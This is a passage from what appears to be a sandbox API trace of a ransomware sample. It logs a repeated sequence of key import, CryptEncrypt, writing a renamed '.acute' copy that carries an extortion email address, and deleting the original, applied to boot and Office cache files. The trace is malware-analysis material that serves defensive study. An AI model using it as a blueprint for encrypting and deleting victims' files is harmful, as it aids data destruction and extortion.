"c:\\boot\\bootstat.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.047] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.047] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.047] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.047] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\bootstat.dat.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0047.048] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x592fe0) returned 1 [0047.048] CryptSetKeyParam (hKey=0x592fe0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.048] ReadFile (in: hFile=0x170, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x10000, lpOverlapped=0x0) returned 1 [0047.050] CryptEncrypt (in: hKey=0x592fe0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x10010, dwBufLen=0x10010 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x10010) returned 1 [0047.051] WriteFile (in: hFile=0x16c, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x10010, lpOverlapped=0x0) returned 1 [0047.053] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593020) returned 1 [0047.053] CryptSetKeyParam (hKey=0x593020, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.053] CryptEncrypt (in: hKey=0x593020, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0047.053] CryptDestroyKey (hKey=0x593020) returned 1 [0047.053] WriteFile (in: hFile=0x16c, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0047.053] CryptDestroyKey (hKey=0x592fe0) returned 1 [0047.053] CloseHandle (hObject=0x170) returned 1 [0047.054] CloseHandle (hObject=0x16c) returned 1 [0047.055] DeleteFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0047.057] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0047.090] ResetEvent (hEvent=0x150) returned 1 [0047.090] SetEvent (hEvent=0x154) returned 1 [0047.090] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0047.090] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.092] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=8192) returned 1 [0047.092] CloseHandle (hObject=0x170) returned 1 [0047.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0047.093] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0047.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\bootsect.bak.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.093] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.093] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.093] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.093] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\bootsect.bak.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0047.093] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593060) returned 1 [0047.093] CryptSetKeyParam (hKey=0x593060, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.093] ReadFile (in: hFile=0x170, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x2000, lpOverlapped=0x0) returned 1 [0047.095] CryptEncrypt (in: hKey=0x593060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x2010, dwBufLen=0x2010 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x2010) returned 1 [0047.095] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x2010, lpOverlapped=0x0) returned 1 [0047.096] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5930a0) returned 1 [0047.096] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.096] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0047.096] CryptDestroyKey (hKey=0x5930a0) returned 1 [0047.096] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0047.096] CryptDestroyKey (hKey=0x593060) returned 1 [0047.096] CloseHandle (hObject=0x170) returned 1 [0047.096] CloseHandle (hObject=0x174) returned 1 [0047.097] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0047.098] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[9C354B42-1096].[lockhelp@qq.com].acute", dwFileAttributes=0x27) returned 1 [0047.098] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0047.101] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0047.101] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.104] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1565) returned 1 [0047.104] CloseHandle (hObject=0x170) returned 1 [0047.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0047.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.104] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.104] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.104] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.104] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.105] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593060) returned 1 [0047.106] CryptSetKeyParam (hKey=0x593060, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.106] ReadFile (in: hFile=0x170, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x61d, lpOverlapped=0x0) returned 1 [0047.107] CryptEncrypt (in: hKey=0x593060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x620, dwBufLen=0x620 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x620) returned 1 [0047.107] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x620, lpOverlapped=0x0) returned 1 [0047.108] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5930a0) returned 1 [0047.108] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.108] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0047.108] CryptDestroyKey (hKey=0x5930a0) returned 1 [0047.108] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0047.108] CryptDestroyKey (hKey=0x593060) returned 1 [0047.108] CloseHandle (hObject=0x170) returned 1 [0047.108] CloseHandle (hObject=0x178) returned 1 [0047.109] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0047.110] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0047.125] ResetEvent (hEvent=0x150) returned 1 [0047.125] SetEvent (hEvent=0x154) returned 1 [0047.125] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0047.125] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.126] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1450) returned 1 [0047.126] CloseHandle (hObject=0x180) returned 1 [0047.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0047.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.126] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.126] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.126] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.126] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.126] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5930e0) returned 1 [0047.126] CryptSetKeyParam (hKey=0x5930e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.126] ReadFile (in: hFile=0x180, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x5aa, lpOverlapped=0x0) returned 1 [0047.128] CryptEncrypt (in: hKey=0x5930e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x5b0) returned 1 [0047.128] WriteFile (in: hFile=0x184, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x5b0, lpOverlapped=0x0) returned 1 [0047.129] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593120) returned 1 [0047.129] CryptSetKeyParam (hKey=0x593120, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.129] CryptEncrypt (in: hKey=0x593120, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x50) returned 1 [0047.129] CryptDestroyKey (hKey=0x593120) returned 1 [0047.129] WriteFile (in: hFile=0x184, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x102, lpOverlapped=0x0) returned 1 [0047.129] CryptDestroyKey (hKey=0x5930e0) returned 1 [0047.129] CloseHandle (hObject=0x180) returned 1 [0047.129] CloseHandle (hObject=0x184) returned 1 [0047.130] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0047.131] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0047.131] ResetEvent (hEvent=0x150) returned 1 [0047.131] SetEvent (hEvent=0x154) returned 1 [0047.132] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0047.132] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.132] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1886) returned 1 [0047.132] CloseHandle (hObject=0x184) returned 1 [0047.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0047.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.132] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.132] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.132] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.132] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.133] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5930e0) returned 1 [0047.133] CryptSetKeyParam (hKey=0x5930e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.133] ReadFile (in: hFile=0x184, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x75e, lpOverlapped=0x0) returned 1 [0047.134] CryptEncrypt (in: hKey=0x5930e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x760, dwBufLen=0x760 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x760) returned 1 [0047.134] WriteFile (in: hFile=0x180, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x760, lpOverlapped=0x0) returned 1 [0047.135] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593120) returned 1 [0047.135] CryptSetKeyParam (hKey=0x593120, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.135] CryptEncrypt (in: hKey=0x593120, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0047.135] CryptDestroyKey (hKey=0x593120) returned 1 [0047.135] WriteFile (in: hFile=0x180, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0047.135] CryptDestroyKey (hKey=0x5930e0) returned 1 [0047.135] CloseHandle (hObject=0x184) returned 1 [0047.135] CloseHandle (hObject=0x180) returned 1 [0047.136] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0047.137] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0047.142] ResetEvent (hEvent=0x150) returned 1 [0047.142] SetEvent (hEvent=0x154) returned 1 [0047.142] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0047.142] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.143] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1450) returned 1 [0047.143] CloseHandle (hObject=0x178) returned 1 [0047.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0047.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.143] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.144] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.144] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.144] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0047.152] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5930a0) returned 1 [0047.152] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.152] ReadFile (in: hFile=0x178, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x5aa, lpOverlapped=0x0) returned 1 [0047.316] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x5b0) returned 1 [0047.316] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x5b0, lpOverlapped=0x0) returned 1 [0047.544] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, 